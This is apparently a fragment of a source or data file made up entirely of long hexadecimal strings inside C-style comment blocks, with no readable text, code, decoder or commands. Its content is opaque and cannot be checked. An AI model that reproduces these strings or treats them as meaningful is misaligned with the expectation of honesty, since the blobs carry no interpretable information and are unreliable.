98c6d8c643654d15048ab84724e666a469895bfc85be1d9ff03b20126985032bf44d83b84bae6151a93b37c5881f378675fe7b8e2b52b8dc74940176887c0dbe352c3f7e8e42d172a77f8cccac1b38527f0b3294ee53e15288d0725fced308168dc5912f15c6d6e2854860788bad1df7ddee899853001d92e502d9d35290b37425909c1a26622e05b3e0839a86ccee5bef14ba9256f9cf0adb83671212d0b45614d9be4ba41f86e7fe478e5b0605d97145fd28fc62f507bfa53f0c0abc8a7d59051534604c3ac59660baa422fd0129dde5b7ac31abb570d40063eda3c0fe8d18cf887ccb914bb8491580eddc15b6ad88d417723d9e962f9d9559e0f9c7f557dfb15d767b146ec4ebc04b0e20ab6df7f2a17ba2f1aea2ef4a55584c168f6a3e6f2f16bee0d5c4c85cc03b5768e8413d333ad9d880c6c60c4410fade4f42ff08ede5cabe12c7854ea112becad3e40f0914ea1ef715a5be6e117ceb43dc83c1f48404c4a8b09388b613cb5568bbb2f30dfce7850f73273437da29217960a474089de895c88a9521c54946f190212d6c1dbf668b7f960f0d6a0d0a63e8fe50e0581aafd7dff640604bfde4442116e1e799cba45b43e5afbc2df02a1ff7f0fa6d6b65b88e73d455e4d498d3101258a164185adbb6f968c8567150e082f08d031498f692005e0a2166fab5d214c662077a33a631f2f48cd6cf3336a6a468fe3ab3d9cf00f35284ebcefeca7615f1f15c30a8ae3495f819967e63d472f9293a4a9bf1709c31ebbf83b481c25659370ec985c0692e47694e1192342b0d54ed587ad8291602798e2eea076d47ff1f23a7e14c5fb9842d6264e1623d93e54e8a29a6e6bd74b07cc57ccc552754cd93ec037a33e41561dac3272f67f79e50d2b4e50a57e911052bb367a3ee63240231e61b14334219fbb02fb17d0aa206a6dc0c586cea4d8152b98da081d6ef70d82e63b209cde63472bd397073ea6233bd7bdce761cb72b0b9c0cd240f64eb425b36f87fd6dd92395edf25f05d051041ccca36ab0a06492b88f186e286661cfc21b424231e295b63eec9022f4d01f816aa914bf785320e835e32787a03f1717c663f2764cf0321495c6c14df0b87f580f23f3f44a294adcfd94c5d6449c5bec6ca6e07c6d05e4423489995d53480e4daf2ab9c50220e220859a04fe69fcefd40f8b3572f9d4c2da24a11d6c02a4a95928f1d48f1e8e464c5aaec728432deaebfaf2db21a531eee05415063c13bc9f9cb57b73d4a3dc235e2c9acb27a15ac4fc13a096ce4b681e61be9621e20cd95ed75fccc12a9c5a22e31842d787ce23eb5c3a79670aaed3d6137f6f397fda68fe75ad8b4884a8de336a309936203732c9a44c64d47fd04a69666b7e56951cb5cddf1c13b0ffb1afc7199b6d0b4c8fc818285c15f95a26455be0b4fb959302304a02f70c8949b06a12f123773cc21018ecdb0309abdf49b20e465e728024b5dc5512bb5b3cb48050288bbbf56f1054e676bfbde8e36b198744ef6b66ccf0e9a4229fa15c809b9a75652ad2aeac7ca0ed2961e74a0a964c8867188eefab28ad14509c41ee923ed1abbc5c766b9ea61f860f04195dcf543fbfdd6aef3f0740daf948b1f0b2ef0673f0fee2a3e0e2b18c4a217c7782e944d608436ee8cea7b5f77e5cb3fdea170becaf2a366c6f73d17bc4b97c3e3102fc9d24f3490120a0ebe307fba7e264e61414dfdfa8a3a8d8e488cf79f737c64d61b4db363641fc8da5ccee2bd4f8057d635e4afe09e9c0deeb714189214b3eda81c945445bfc4ce7d4f238067c2ea0d5e52249cbfea4f21202a4f121384ca4fb332431a1cdb26505589bde78c22bab1788ed46a0ec4fccdb80d46d7405263d93b443c9cc0378d62b5039600fb8d80475a19796244b921aa058ec1872b9579ce11ee2f0a43d6af82f4f5ecfc72846ae9726c100b4ed088b32e10beef84c22a8179a324d9b10828f25daf9a5124580f3a385877cd8ae7d108fda8850ef8d*/
/*ff9e3233b21c2e04aa3e8b3754f331635126a36bc22078c15a54e8ba7bd1e9d3f4d68d2f18366d55f8a303348831c99c722dc35d6356dfcc07bbbaeab27d2abcc9db8d2efdc7a25f30567ff14f2c8edc2f3f5e188e0d51e5e5a3bbee36517193fb08e495e39d5779873712191fe6353bae13a2accbdb1f208afe8e3de03b885833392f8f7dd83d189e88294d1c90442285d6241d9bb5d37969bf4f35fe88dc61cde762cb570198022d2f20d99dc256b2d2370100da126db2affb9d8e863fc9825524cf3293e34848e665ca8639a080bac55383af8d1a451b329942b850db0ac085d75fac3d8c729c65eaa31f08abdbce0a85e2876184cb0116f6408ed6e16424189d91a6fe0d731331a4da15dd6266e925ebc513cc7370de270ea41216550c63432b7341da6fb61321beb3f5bd61f6394ee36e9c9179dff47bd2815923fab8e8f403661f4d4bb59235b4bc0df1f963632b8f1397956a0a79b481c15eb84f91c32c2c0ddadc3c35f60aac727fc750c1daee318b183a1346d5d233d1e2fbac7101a0a6b962d81a2641c164a713ccaf0591767a3f5b3d88d4b92ce38b40e2d627ac2dcd90785e4078ee9f072d9bf63cbd7d4123c80a3a7b0ed73cdd3815d726e090a666cd63616baf8b98202623a1e61a4f3200280096c6adf380ebf23f0ed6b16c364c27c4fc7b648c3860f530fbe315258ead08833564ce8c6184e3d8188fe117b33aee435bbbb300eb43e09043bac7e4b9703201cf8c7e3b1d295c643f61b2eb31d48e165e8ea5ccc00045c8e8f06ae1f5c55b0263863a289613b89a61cfec8e6da23ba39d328662102967c47c0143e22a92dfd981c6d8f79f905b00304107e509de0a3203b376ed7dc0f66aa1932d34a521459a84d89e44c895b8d13d04938b727b218fb72f05b16bdc8a29e8f48b77b3de5b65167aa1de1cc4e9954d77d46f10885b0ccc8b05a723df57738ab24d3a87c6be272e3a5db5fcb9597e6abfba4ae93d690835e140105a99319ea42a540cc8d96813357f524aa22c6114144e3f2e590064b7415da600c96719a428946c28ad99d77135ead1916caa528a46115f9fbb90be795ed0d92798fc15720258c72f516f9e319f5dacbf94a3efdb9379c4d289febd1625b0b40180d90e32ec06ab77dfb3013f4399c97d5fd7ec5606839749e5b42be4a64677db35065e5eb621341868168911f07251a6b0a5e691f0d985b98c58e78fcd1fdd8136320d0b98aee3a027305356610d7fd8986b8de579a18410d1c974a911cef1a56aacb6b6278b593e53512ab3f138ae382027f185fc6ee450101441dc02358e8a6515d03a9894d4b6cc727f9cfd5f5a8466f3c012a010d8ec65c1c94ee0a9da227eeeac159267684a1fea6f19990886117de81844ea0e56bdf146b1f5f094cf89dd6cdb118783bfe550f911b3c3d65687405e2a59b0908e8d87a9617a6535bb7c982d62dcee63791330a2b27aca5222a9ca06656b7d6675f9699f873a6db5822c19d1480c505fa8511c67731218b6ed610480a11634606d91d515ee7867eaa1ee6f4dabc4fcc52d73bbd2af2fccd38b6e6d5dc2822e6fb1be0f6cf1b406d1a70516abedbfde82aaf1488f6cd502ebbd2aba45b43b80d0c6d89d2317603b12f58ff9e1d6bddb783e756293bb5f0011d893fd5abe12ecc874c525590cb1c2cc1b81b27e42d7a30b7a091d42c4e39ea00c77cf247bf306bfdf5c2f9ab4a3a36c6f4ab85283d7a77b4d9cc195e0dc2be213f6d30c1d37daeabcac03598276f68ed0cb908ab47de6ee80f606f458a4b7c9447d8280731ad78fb83681a94523f771a44dec5afeefc61c7908b0da9767a637f9b0daf4cc8dcaf59a713f74f88bcf98f69bd78be2929c908894ea7d511d56f84bd386917b4c1b358e3857d20c9067c99b3270f1568ac877bba6961e36b61d1f39c8e37c17a9bc28cbbe3ccfb9fdd54ea085e4870c5a6f02852ebfc83af8e7a2867af589f35b75d37f1ac5867be354a3cc2697a02fe4b137d3ba33dbe5a8b6bf6ac21641aed18acbb9cca7b172dd4493cdb33efae454a4fb439dd6fdde85a488c2339021492bd2273f7359309c53fd26879e7292bc312e495fbc5b757d2d58953a0168896b5394e5710e97bee11fa888c9397dae9252b11889ae61e2c64cfc809c0b26ad682ddb85f2e967070cf0e27944adcd54d9c7e48da6588307749e31e0ea86002137bc32886862d51ffe74ef857f07802978788b2616d56cc1db6c7eba53ba8302d8451a16f79c33a4a5226d48f3348dd696a462031a588ef0450bab2b57a6da879e00f3afb30afb8f61392f0c2569062532741aabcafc3ddaf9d1fa03551f9c4ce6f01b5e16c49e7e933897cb0e944ae46bba6b2e8e67823be03fcdac44e8a2c8ce4c04cf76620fe35883479bac66448af82decb1a2279732636b4ae3a139f85be56367f9c666cf40b669a0aee7a5d1bbfbfda41b1cbad1839de139d3cabf3e8af5175df3068ab3c7b77fa3c0ee93e749801af2a449db82fb591a9e9bf5d4d7e40afc12d1c3f8c6af7e3bc340229a23889e4d3c036a9acc957acd17fde7149b978ae39b65941cc4e298efb10aee0d549394f42414e148fe5e55fcdd8230656445f16a59fe98c4ec003d43cddb3a9ad21fc89d2f63b15fa4bc73b5e9add40199773b6cb1df6a6faf3a0926fd588cdd812bb42674ac99ffe0c10800c5c5fd1b21aa79e79a463829a5b6bd1c33a929c0b6741b97e7a3f634a3a186c45389e15d8715bf3234dfcf1d6072feca267252a8eb1336e97ee4851dbe1cbb7a3ca64e8a8329f571833475a2e77e68ea6c936bc90f25a15931d07e54*/
/*4d77d2daf6155c97ffb26036dd2e6047ce137a7ea722dea362baba76a00e4ff5b458de71904a35b7eaac28c10c48101bd607e20517aadd075099a2c9f6c5c9940ee2f390bcfd90a70374e9d7881e093f421e2b47dcb10683d54321e305685d1f1e646af3b31aea8fbfe01f2b5456b5118ec92293d4709f185695fe887e3262a3addfeb464ce74b77f55190eb6c26106ee3ac4cd95db3ae7f9e9595c5b050a8a29451bc2aeeb078c1add46a013c6f1e17625ab3936ebd4b1c4befeb54f20d88720f040bbbbb0228f4ac6ddbac6c199ff5a66f7a8d137c266beafa62211beef75fa8de5c3cf507779a7a4d01239c68ed8d1e239b5ab4b7887bc366855af3aade69dd0d1a13e8e375948590c1b28247c83addd65ea724021a85a0a1723314183d5eb68d12d5d1eedf680c5be02e95146915a2854cc07001a3322933cce44984b7f961dec589b7fcfec51957745c8a36b0770dc55dcaf8f67c5885682a4262b1d0965715f2e91cb7807f33f0f9fdb661397d119c27e5a4956bbede8bd420f28b8bd9ba80cebdf6aa25aba84cd942d43c806e48a6a7c6f6a2417f676ff14ffd2a2875e09f5d48f00c6344a330582563da5b663eedcf2095f7db8cee2350ef8f1bda5f065b928dee1776c9932e32b437bf09c20b379cf75155b5206957f8ebd8eaaed36f81af1b3d239c0e6b08c3ff248987024bb0ac3df17b5722c976b568d354572ed68d7167eea542dd4b66f4a9cbc6b48be8761f0b38dfbaae7b5612eb9c1f09dbca6a2ab3ec7cfa30f7772c0339003669ed64689107aac13d5ace4dccc00e425034d95a5bf660b75ba88818e438b323d65b787276d632c9a5747fffe7832c3ccab881457f3f954faa2caed6e6d9e9ac3fceb3c2be79d2fee63a27f20835d102c7d0f214b190622e074414289f8e6dbf7e0127fef5d93fa0612dc362cb5b98734bce12e3daca4477bb219ff9e28d6fd364f2a17f0374c2b16102014522bc5cd72b87695b271ccfde0f05a038950eeb6395a02e433c5b95b6af8b0ae3893b07621e53936d9ef2cec6cf93c54fb0c336ed54d247b15bd5f09989049b35afcbe7d0bf563e02ea72370f83506c8830f9e45fda9f737e39ffd88cb0b06a8e048be5b74508afae343dffa915322793c975b9298eee155214e0cf8c04127d5e8f948607bbfd98d68a1956d726d87181e89ce72edf927219a306691794efc3608805553a87c9ec34a4b5eed143525b6b9a6bc30d0aa3e5187f86e12642e0db4f3cca73b78b80adc1e4589ec72840c0c6935673ad337d4651487688556585f23e81cdc665dbe3ea2647b589ede4299b2861faa4596d89bb3db544179f1af0afa0cc73b54807aab6efe14e0273fd2c12e0079a388fc0a6e1666c85a8c8ac3b0e7b23bd20899122f5015041afa103d4066e0f5888edc7fa1888bf657bba84f27f850c4c84eaaacf770f276b857d0f94820cdb964c877d3bcc302ace4b0cc5f92c4d7679b808facd04576b35024bc12d6ad6e0c9e4c6cd2b850e3b5090c296911ec8501deafef636fa05b3c3c431e4126ad001e7fc84f201e2c5d464e742c6804fb6290d04975c91f5e6fde18443e420135215cd26cd1a4a43159c410a7e157d8635f810a382a3d2513becb8e371147e44c7cfa420f4bed77c307c14d0aab23f81aa4b1f24a7b71635522c5be8228b00028361354d57167d66ab9b82e30ae3d49aec11246f65f7a4c9b4809434a7e1d24a98171b1dd40026f372d0fcd7548a8343c0f5ff9c4d88404e74ed9199414cd93d16dd9c77c425be7d74d96582e7cc9def38fec58d15b429f2b8e8d6e2b8ed47a975829f0dfca60f850edc185b5eb2162eb43ea098c2a677c87097d4be2ad0bb4d67efc7913d12f8230d5acc26ff2147b99daed7bfc294b0d29ff77cf83b6263a994b010add5a313cd7fbb56152ba688ef9122c51f51d979c833aad12152995ff39f861167985cff982397df1b242d7ce3e9a5b7d64f344a54db9fc98accfded2280ba0eb0a43557a7e0b0cc183fe6c58b0d8b01115ca364d46fd4a2ef516cfd857d7f8cffd168ab8f3b2f8ab1844547fe8041303ee1af30ef6796148776e4831dbeaaf6557a9c8e2f118d4a161c7db14f4a2b95223aa99058b39c4b7e6932af76fac7ad5d8bf976d03d62444c7fe98f5441d3e8201d689ffb38defcb85fdc688f2713b424ce181bc4b37e3f04b91933e13168e292c3f6f41c56e21e29a55b898c8d1a3772a82c30f8a5c99de86578a941265afbd79c27ac8da2963b035b32859445dd6015434180ea05b93e6689b6e4ea74f68c9e362d54ba92b0405a15829edabfe568e863247680368c24936fa772a956bed88f1db3950f8835ce946514b36d8837d2cec8e84182c3e0733c769654b8fe5783d7db1c44b567ce9ecee383c4b55e2e152dab81a8b809e56ff7837419abd65ef624bc8a4b91856d7454a3e1103ed56fe879eab4efebaf1c008800c3a4eaa178404e52b3be541a31896a0a78d3ea01eb5b43dea6ae118e4222c93ad8bc95ce9754d40b372c3b0b2f7eb263350d168493ba6f2992a9bd2e53a3f58d57d07d94e9026a38c62b7c49c2883ca86678c900dbc5d80cbe8a6f943549807edcc6e3fd5c29d2c9b34cd47e93a0572abe9e257673cd756a3afbf2f040a1b48dd11a0389b02e98ff92fce1963b0882e9f53b4eea6d429236d4e7a8713d35fd22822a5f3cf1b5eb6cf12e77d69bf5e3f345560a078a514d420e63aada3c9eddee031346ed85e624cfa57ba271e0d665f1a4a2e0062a9f53ab222ec8df57cda78e783caea98009a63bc21fa5eb61994d2c7d700ccb29b9010f22*/
/*c4a017a4fe9ede86acdd0b1ab79392673c40d057d03faabf50deeb8e4cd69a5474098578d1231a8bd2a56a2f8834b6f57544dc541d8280259948d47ebbfa8216be9d91ce5af2b199595f31e355199a454ee9b4eceeee85111b8e6ed264c14fa009af82763fe88ab6b0574c02278b2c7a307f80e6ac0ba0ed808f9e0241ed093aaa421a349b0ecaa2add446289eaf80bbcdc27202c718f05e02bc7d08ab4ca2f74d1a3a3fa7986358fce4d4662e10ae7aab973e2ee54d150ac79eb74ef48d6a9f1fac092b85365cc17e23873f826603102504540f9db3637e782356b1dcc7e4b099fa0ef4fc6fb2b715837e180fa4e168f973d8117696ffb892cbd4b7eb94b21af5d2ab8803bc577de759d8db14e640b066c8120559c3a7d5eb8b6fa61d384f3009e5b8b0c7913a4d1a5a16dd551559fe49365916b8c70cc35d54952ac5c76bc79a67ab7b35dbb3edcd77702df064d6d21dcfa850a106eda53c8604f176bdd9b3bb314203e9016de2adc35b2255e392f3c38bdf6ce15819ee37dfa1465f871a44bd7d10e1f55eb1e33034e493a19162c04d53f6fb3927f9fde9d7d8acbc75f9dc117d9e615ad5616fe706f500417cc9dfdd5f2ca65b88edaa4505a0fb1a76656369e2716955e0a6f0bbb4802b5ae74386a307a5480e52fe04302121399c3b342243619f09aca0cb4d29a2f660c25e4d4926458848a7496c3881e0df076d58fde92079575c59de2e1a4e98eb24d237ae525fa40a11afec7e59d8cdadc2ed9db4c7b8c448e4cb545e30a938d65c1daf73feaaa21712f9aefcff37705db497ec9a00c15fabfd43a90e4139c5d1f51a36ba64a8511d17b2874fa252697b6dd417d63bb31a374d665523b7d179dc98ce664819db9c2416579d1bee7c081e211985bdd3db4b86be04aee334338a2477dacaeed3b45f6f91c6ee53752822a3d6a50de25c181e0389604815e0f38a8033c435ae171fa1d82acbc1d7fb217a8581fb2703f6acf4be11f6614b48b190cd165fa4b37264757ce484e45f1ca00f86bfb9eb690d6ad4008c74d8ad5a825a17693ba279df073b9c055ffe0e96f1be499cb3b5228ff250b0746c2847c841936f6f016e5bdb494dd2083be027e6a1a9e87e167708dc4d86987b1d6a7bbeec3921910b8cb395aa815a7e077a7e7109a107a58912f3b1fb5155787a1ada2b7d8068f764643d122e6a13180eb1814859cb12d0d73f5cfb97287c7966f780d7fb17464d26a64e4f54deed2e3c9dace2b6a8f4bf340e029dc04f564c1d9e4d0fdd631d01f29e5a13f52744c5376045c6da9b8f2f4f22981f79ba9affacce69ff878320270e0e6a209ffe736bd74d3860affe0d9a0a3e1bdc3cb60a8f45e4ece3307913e4f37764ab26e1943a8e5dfec64d028006f6ec9c670417b8ed7af4f93754518aee098272fbd01ebfc67037e327586854624650e773c0e4f06b1ca5780e45a551d8de19bc3e7cf510ba7022b7a2941b689e5df55a0f34440d6a02e46f52fb2087a59866a0ac7f1444ba985d5735b57e1570d0b847da1133c7ed931b17d21d3f4bad4a7ed9bd43d14ac5726ff91a0dd1992b003a1e69deea2794ba4f1835674ead5076c4cb9d93400027ceb0caa80bf4ab5b106e43dc6cd3c7711e0240498ea26417682133efe16546765e7fddaa3e622fd8da56dd6d2548bfd176b56a48bc7c81c3ffb8c9154ed7631d7af487a0fd1f39848b3f077e01aaa0088d119131285166c7c731aff83fc868c7c657c4d58e6c7b6b092546dfeec5717235b4f02b49faf6dfadeab14ff0fc23dfed2adc019e9b623ca59a17e081bf5fe54c98a8067cb3c85b671c69d91c7e62e3a7f385f8d9ab139de838ae931dcaff36c584f4d33e33a03fe73512749ede302daa3052018800ff04853eb4f7f1b02d1b380a1438c047d109afa37c8273537c8839fc0534349a4f9ef55f0b9f6d586148e29c40693e3a4ec306f2acbd3eb0d55f1c2e19a7cb6c53083da63267ec14d1be3590ab34a177f53e8623b917af08fcc1ad503670239100bfab091018a5e2e61b46d7288caa35bdbdf24e73ddc0d754b42b4685fab6585f2b5ff109e95da286876859bac8b3b0bc7c5ccb9513d57b27f52fda4fb4976f49453c12d1450f7873f192a15a9f5c35b87e50a7fbfdb3a94294c795b24a665b04cde53693fd5aa678555b4981c9960f9d3b7b58b41b1c27596305d26c2909d5139aaccf74b8066bf2779838c49bd5a2174a677c25f64196124e7b34ea0702427c3f05e1ae32bbf8fe546f5b28127e34379459ec2c84effa24fdf60ab1b3d8ed1c900d8ac2d2016a55719007c0f3a1e47a0d4c169319e8ba5c8c34ccb8a0f625f140104221ed09a00ea3641bf2f4985e43f1121f062f757851ca05c899c5a00a86c0c245ed51e9c84842aebf5a8b0c5ff056f90ee1490b1162db6383e4e3749c8bb5c0a826782919d1182eae7a7c793f0521f8acdce7f25655a65b9bc745bc18775861b0a5789db8bff3cc8e2c6c7cc2365b8112770cabeef344017df0b60d163340e7a723532364e25a7c199575488c7d3e72cd5701fa0bcd0363e5d8f94256c62b96ad2c0737ed79e6732a603cd687d50ebabd3bb097aa225af5ecab0b242b21382c90f77e0601c882739284786f4aa93c883909cb7555923bf94cf5fb1ab9ecfeb8ae8d16e0d0ab76589b0247c9fed944003191e3a7795c497296343a6af0b4762d6acc2f44af0dccf294c3f0190d4c33607be13b8e4fe9ac4dcd9c6e74b556804f4be1475b0c6d790bab26cb85af6e50cc8a2684b8633cb6b2ebc1eb4c41f24cc49fb6401fea8b662bc4ca24364d6c7118f9cc99*/
/*9e71263765a73e0254d538e5eaddde08eb8a3200ffb69f08b008d96da959379c16de777dd62bc3ded8fda3181fa61ec9cc573f3d7c3465cee81e5048a6add864e403a1c648248093eebbfb7aeaed7a843eb6d9c5e566449baa913e79794d5f7cd38815df8ff10284442b6db727c351a28bd34fcccaab1bc352fc216ea3594af4e29ceb136e033cb48f9028e104e421b18d3f945f93033ffa79a0deff6d40230fc5c7c6cf59bb5b6937c418b3a804cee537561e00ed1c0428347b0c5c01e0fcf4a99ab67e34236351fa2b9816b6000adc97db2707c6b24bedbf1510725d7954741b11fe31b8848de3de0c7469512dbc7aadd9b92cae643815f981b89769cbfe93944ecbdc1a0e1ac8f09cf32440f9eaf19b492f453c0e75c17b44d815c873b044ea2eb2fb1ec7c70f7c226e949b4d827238f08e80ab26c1ff5c5009c7570d92fb8574912021d7f5037ad6f83f58e61eba1720cb603031c3e933b8e6dcbd2bafd4e91d7ff10355479a424ff410ad3ca411622370feec36018cbb9ad2b5cc18bade54ef97000bfa27d7a240e7933b4efc32972f9737c2c32e1739d4c1fc878a0845e0fa718b5d3c4066fa86fdcbcdbac5321a49a7427c100ae525a07d9820e6bcdf882e43c9273ada6bb17fd6e6e8f8b5efbcf0979fc1acb5100e24a073762415cd77c7abb0deb2f3025575d32ebf87de95f13ebe596e3fc6ff8ee9e9be5bd0ff57e6305f343ade97d5fdb2aa933a1c9d2a50fdf521707755336bd684f130e6334c761984c06d6af144f29482ef3ce240b8ad04731b657098b5e127a92c5cb7c935be9b9362e052198b7b28b42f2cb3a955dd2c4a42b68ed805540633c4489e8f552fc916a888f4126e05bf673a7b122707bb77508dbfdf789f6a3a8b2b0aacfbf70babc0e18e90bf0a693606fbc9ef4a1f669482b34b0d5db4acfae8e769a2bbafeb1072d611fd19813eccc3d62548b535b0483295b31892c1c03225256093d48d33abbbbdef38ecbda1bf78f0d08c618facd51c55298a9af14c2cd3f4a2710d4bc1f2c8c4d87273a8edb9046bd7e3b1de47a109d08beed1a8b6d642dde66553710c4a66f6c216d5f21a10e1735f894bda8a9fb7c7459107611cecb05fa1d12325319f7dc0686d459e40e024967c2376343d1e7bb437ac4b6aa586101dd9b46258940cd63370aeff7cdc0efc6565782ae5dc05babdaa1a93bcd447001953880b66671e25c0351e4dc2e462f7e8fb43c1b5c15eb14bb398797d49fc0d2bc6b6b79dc5c7a19da5db551ae97f95eaf126a94c3dcee8adc2b081c058cddd58c4c8ddd17e3eac851f6d0b5c7ab20c9cae35c73f3c5d29c568ccd7de235c00b5d2be437d69988cf55ebb1f046d74f02a1255f53044847a3a4dee8f43d62c9e0f8bc1da160fab205f0e82380e2d8f4702308d9c895ab2e3ef90842704bbb3ad01541b2accc48aa2143a764ecc6eaa6e9e80e9fa532d0924bf282dba545cde6f3a21e2f6c8d565145a5841e46304184e817622ab21926ec13b7d419c1d5be5f4bcdc2db189c3854d8adb22eacb960465936e6498db3adc7b434b1cd7ef1e79395e9b0a6808ee632e752593211175f372b7ae55745ae45f8984bfcfc58def6949f90a017cb928a8873e5cc12a48413f38c4329dfaf0a60bacde144ffd161691339f80846a242a5227da82f16691b35a95f5db2fe2f5c988e9f841cd4cf28f122a0064810e317be7b9476dab8ddba396505225bbb97ed159a7142fac21cf0769bd55bc1036bdae2b0988adb240947db169d3769c3a1c2ce704ca8969d4fb492891f162616b36b129e244e5d15d4489bf27bdab3b3125e5007056aaf3cb5855d061ad291d7c0e5aca4ce504c379be695676bad7b459073643b41f6b35595215b78b35f9c44b1a7c8e586e0dbbaf568730c4829b90b053654f4b3a42d0d0a012a8643911ab96892f500dc7b58478b80f7dde4cc0d2b3ede4445fadf08c6c5da5198388037214949eb7fb6b7758982ddd4f7b4ab920bbab6bd8101e57bfb6561180f9df5739ec1cd686772957de72f2d0c1e6b3a3cd1644278f5e8ba8d633f7f1d8dd440342aca46ba65018bdfa821529bf4eb20807d2743ce4a1535cdca99c091a9388534d358dd4ccb821103a71c88eee993f7d497ed94fd65dc6ebcb8fc43db68c033ff9a7b26da3dbe1ff3674d45be580a3772042d5013bdb71d1ebbe3f4a1aaeacb7fffd57fdac1259175f26e5f5a55c15147740d7f13d2e0c8113c3d21d2ec7cf527a4f8ea8ec3d32fc023e927b4e34febb74a427ebc3f459c6fde0a2efcac1251c67288934ef6e05412e08ae2648b75666494ab8f52ad38a9e68d0ff57fd1ea38fce59e828de309129049f56c3cb63c5aec748a287ef336a57bd69f5dee3876787e9c8ba3a71017ca8246ff9fddbe385a1299abfa24446fd981ea171d7fca261a2691af734f5d8ba58ebf6d0d047cbc944323fca540d887b9d5fb942add4b08a475b456929780b1de8902ec50d82e22f3cc1a5b76718b9432cf150231034cc05cd7d77ee5418846bd149776f4bf732cea4a939364f0d4afaeea4e64b95009baa4d5ab9e562454f5770cefc84614ccaa227e805546c556197a27ced67d320b8bc772706086a0f3b8671b3233ff9439fde247e13bca1168c226d000361a8e7e070d9950aafe1b82a2ab107737b8a3c6616d9381375e35d9d7ed4998cda9a587cdd45d37e43471e9ae4dd7c107937167e750b03a7bd8e396e9711ccef86fa2f4036c3f7bea037ca0dc25682d438706581be9270817115554d890663a097cccea84c89517c1609bc883642386f3ca1ca5a59de0abecb*/
/*12d6aa79ee502dfc5e13a37f6fece5449d9cb7e5da983d304eadffaabce24e3b9393361f0af60e92813307eb5d941dd797af24ae8af547303e1a158f78f276ae15a43094dd391e232631bbe2812e48e2bde7b3c55b8172a09e1fb48d2f40b083bdf89a182979b36a717299bcb3d65067b4a04bfe74fa6c54979fdb75111da166b4204b6dd8f8ea9f5cd6843772c864899cb9f42c9b1e782d5bbdc0592f995a15b415f23c864d4892c28e0e4b191d19df795b0ab559c8471cc57abbb5863404d73885ce4a68d3d4c7a274c8326d64c5f2884195d9b4e572f517bdf12fdc489a308c5ffdad120fa4c69518e28ffdedb4969604fcad425c56f2dd1e897b2ea775827c7699e4fb1541992de1e59bd46e4f566adc89ea49e2a06f4e10a84adf17738c793aed3ded19ecb7871093d2d18d49fd77d2665e1c930782f7620ab4e43dac442ee99a0d36465d17b30c6345e5f1e719016649b6bbdd514fcc10f75ea2107eff0cc720e4443e8e3688db928e64e0febd9a4857af1ec29560ddf05379501c6451cc9f6a6b52c232d1ff11bb2312a2f1557237e887e3c0a7599ad63eab5ddc271673ac94f9cf5f8d4b7fe66d70293a58f5eb48e6497db9a5c1339e30b564a183a2ee6961906bf023ca639d04962d45dee813f0bc6f8d3181c53dd3a3074ce150bc2f707bfe11d5adfead0c05cfbc4fa425e08d4128df4526c51310bbfcaa7921f21c97110041915539b2e7377a7d826c063fbc55b868ff6df68f91e61259b363976293df4de0b15dccaf981049cef7b284a826b67f8c811e6f328b01da214f4185c1c7872f481734a59ff25dea25c3efa316d3345bfe0bf2a54ad4be35d000d33f654424f2ab3f68f56cf2176b310f2b1182eb36877653f7b6f20c81c9a166583224cf710ca93954027abcd777869c03c5b4db67b215e6499e6e18a4d51ef79bab928664b7ee0647b600288bac376190f34c5d32d27104c6016992b3c4c0d2061f6b670d75be677e7e0ca8c4c0b1c61268637358991663715c38c908097d4557f59370ddf199cdd57ed1398007edf3042d167cfe39aa9946592afc176929d7c6b50f1a6dae0036e55db2813104f3a3351652a16cbc5af7bee87125e7563561e3782cd97d1e539e1f430fdc3c56da40b5e2f92aa102b01b5c223428d68970f79d3afd9698d8ee3a50ae4d2b940873df5e4a4a0394891011f2ac6f3bae1644b530e7599c5e27a6e961cc41e8b6b16f5a8166de8d72b64889bfee93432a302b0e07f2138cf510cb9ab72200a1d95838b560092cc9d03b3c2a751c5f5b7eb08ab41eabeeabd671736cacc7429f831a29887e2229b0b8a3ac9df4b6f051bc9b2d49a7a714bed9b3abd13595c14648b3f8ab4e00b73ab3882464aa584b62163b88581020023a720e8b8ef34eef0658bb979a530989a576fc2e8d70ba6dd6893944ecf412d8342382ee42b0f9b4d5f7e98e190e8cb4607b1c1fe1ab9e384d1bac7adaa43e435ad8bf2995754efebbbf7c0b3c24388e71a390077e4595702cbffe52ee006496318c10d9bbb5facefb14fcbcf08047c3867fe5f1aa31ffbd8109f07f4d0b84c3ba88135d44adacf4aab9c6e28df96de37e8a7b2f709a3f1885336e29f232cacc1e90136fe65331adef974c07d904a46fea3ff40b3f2b615666e2b3305bb5cebbdd60789c9f15094dfbf8ae7f17fddbaca96ef1fd8b766b3234ebcb3665eb5fe44ccae06d161cab9f13740a97d8c48bcb5bed73754d958f6994919144a13566c1224c3758d6fa2a3d886effac7241daf2167e192c702bd54d949192a9d3ef1313d7946eaae74c0257631c667fa1a301dc799237effc9463fe77fc783c42ce0163a0bd6461f4c4289cc6a8602b0f4eef404d075c005881d6773ea64d3f963cbe833c8db39fc73091519ee7351cf5d5e4b942d1757281354f2e563d20cd9c022de9973ab8c162711bf6b0325d9b5d9c5bbdb489da0da75c2468aacebc5b3b28874bb89469c82f373da48421700d8bbf1230f8c8e8241921881a81a7afbba95274506ade7a9f5e7f506b844cc95e082b4c873eb1a5b3f06ef6a819e9a205974dca894185b7a880b3eaa2b0e26b3bcb4d620461dda84579a6349f248a77a7c9280600ab47755ef38ea2a534ec7022ad960f394ec5698655ec1e6a5e311c90c93d0711b469aa91316517e3d17b6720a84070a365332c866386adeb7f98747fe2164c6beaf9731c6736513bf292eaa4b200062c057849e9940102b57a34cdb778c096119ea5171a85c63ef96d6d8938b290f49e330755d86d9cc8027dcb7bab09f70a36499cf4a1ac8c902b8d0e4f3541cae00394c7551ecedbf3abf60269e9add8b8a4b002349df9d4e0a53b31e55217843fa7d6868dd4cf4d4a151e2647fa4ea84ed4a2e9b18783c921aa392b63bb1d9216dfedcdf3c28e070dee2f043af81de33c89823a38ba19cb24cbb68dd0f3b826169aaed0065790414620f6f8631c30c75a305648a56a80154b06c7e0e686055652437f02341c9af7e1164aab29449b4ca171dc3a2ed1f6413580902ddf127eab3576aaca985fedca545b0096f53cd36c84d26db12aaee0f381b6ac3492fda2dde62e039584ec5991829ded0fcd0723f59d77e67c3591263b12a949652c2f3418873a40c3048b8e58d6abd21cf0e9696bad2dbb888cf2f1344a542587aa76137eb8a5934b04714448aad7e565f2a1104b0a1fc39d283362625657679c637626864eab2ba9b012c8c04b80777d5a695c840d4b86a08df1bdb8313e301f0eb768dd9bcb8d5fea1ee52b82400f37ab753e2f260a77effc09a52bfa94bead93857796e3*/
